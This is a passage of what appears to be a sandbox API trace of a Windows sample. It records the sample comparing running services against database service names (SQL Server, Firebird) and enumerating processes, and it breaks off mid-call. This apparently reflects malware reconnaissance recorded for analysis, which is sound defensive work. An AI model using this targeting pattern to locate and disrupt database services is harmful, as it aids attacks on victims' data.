lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0060.054] lstrlenW (lpString="StateRepository") returned 15 [0060.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0060.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0060.055] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0060.055] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0060.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0060.055] lstrlenW (lpString="SysMain") returned 7 [0060.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.055] lstrlenW (lpString="SystemEventsBroker") returned 18 [0060.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0060.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0060.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0060.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0060.055] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0060.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c [0060.308] Process32FirstW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.308] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.309] lstrlenW (lpString="System") returned 6 [0060.309] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.310] lstrlenW (lpString="smss.exe") returned 8 [0060.310] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.311] lstrlenW (lpString="csrss.exe") returned 9 [0060.311] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.311] lstrlenW (lpString="wininit.exe") returned 11 [0060.311] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.312] lstrlenW (lpString="csrss.exe") returned 9 [0060.312] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.313] lstrlenW (lpString="winlogon.exe") returned 12 [0060.313] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.313] lstrlenW (lpString="services.exe") returned 12 [0060.314] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.314] lstrlenW (lpString="lsass.exe") returned 9 [0060.314] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.315] lstrlenW (lpString="svchost.exe") returned 11 [0060.315] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.315] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.316] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.316] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.316] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.317] lstrlenW (lpString="svchost.exe") returned 11 [0060.317] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.317] lstrlenW (lpString="dwm.exe") returned 7 [0060.318] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.318] lstrlenW (lpString="svchost.exe") returned 11 [0060.318] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.319] lstrlenW (lpString="svchost.exe") returned 11 [0060.319] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.319] lstrlenW (lpString="svchost.exe") returned 11 [0060.320] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.320] lstrlenW (lpString="svchost.exe") returned 11 [0060.320] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.321] lstrlenW (lpString="svchost.exe") returned 11 [0060.321] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.321] lstrlenW (lpString="svchost.exe") returned 11 [0060.322] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.322] lstrlenW (lpString="svchost.exe") returned 11 [0060.322] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.323] lstrlenW (lpString="svchost.exe") returned 11 [0060.323] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.324] lstrlenW (lpString="svchost.exe") returned 11 [0060.324] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.325] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.325] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.325] lstrlenW (lpString="svchost.exe") returned 11 [0060.325] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.326] lstrlenW (lpString="svchost.exe") returned 11 [0060.326] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.327] lstrlenW (lpString="audiodg.exe") returned 11 [0060.327] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0060.327] lstrlenW (lpString="sihost.exe") returned 10 [0060.328] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.328] lstrlenW (lpString="svchost.exe") returned 11 [0060.328] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.329] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.329] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0060.329] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0060.330] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0060.330] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0060.330] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.331] lstrlenW (lpString="explorer.exe") returned 12 [0060.331] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0060.331] lstrlenW (lpString="Memory Compression") returned 18 [0060.332] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0060.332] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0060.332] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0060.333] lstrlenW (lpString="SearchUI.exe") returned 12 [0060.333] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0060.333] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0060.334] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.334] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.334] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.335] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.335] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0060.335] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0060.336] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0060.336] lstrlenW (lpString="msoia.exe") returned 9 [0060.336] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0060.337] lstrlenW (lpString="UsoClient.exe") returned 13 [0060.337] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0060.337] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0060.338] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0060.360] lstrlenW (lpString="msoia.exe") returned 9 [0060.360] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.361] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.361] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0060.362] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0060.362] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0060.363] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0060.363] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0060.364] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0060.364] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0060.364] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0060.364] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0060.365] lstrlenW (lpString="arcobviously.exe") returned 16 [0060.365] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0060.366] lstrlenW (lpString="preston disciplines.exe") returned 23 [0060.366] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0060.366] lstrlenW (lpString="boss.exe") returned 8 [0060.367] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0060.367] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0060.367] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0060.368] lstrlenW (lpString="placing.exe") returned 11 [0060.368] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0060.368] lstrlenW (lpString="heroes.exe") returned 10 [0060.369] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0060.369] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0060.369] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0060.375] lstrlenW (lpString="requirement moments.exe") returned 23 [0060.375] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0060.375] lstrlenW (lpString="sugar.exe") returned 9 [0060.375] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0060.376] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0060.376] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0060.377] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0060.377] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0060.378] lstrlenW (lpString="genealogy.exe") returned 13 [0060.378] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0060.379] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0060.379] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0060.380] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0060.380] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0060.381] lstrlenW (lpString="expenditure.exe") returned 15 [0060.381] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0060.382] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0060.382] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0060.383] lstrlenW (lpString="upgrading.exe") returned 13 [0060.383] Process32NextW (in: hSnapshot=0x32c, 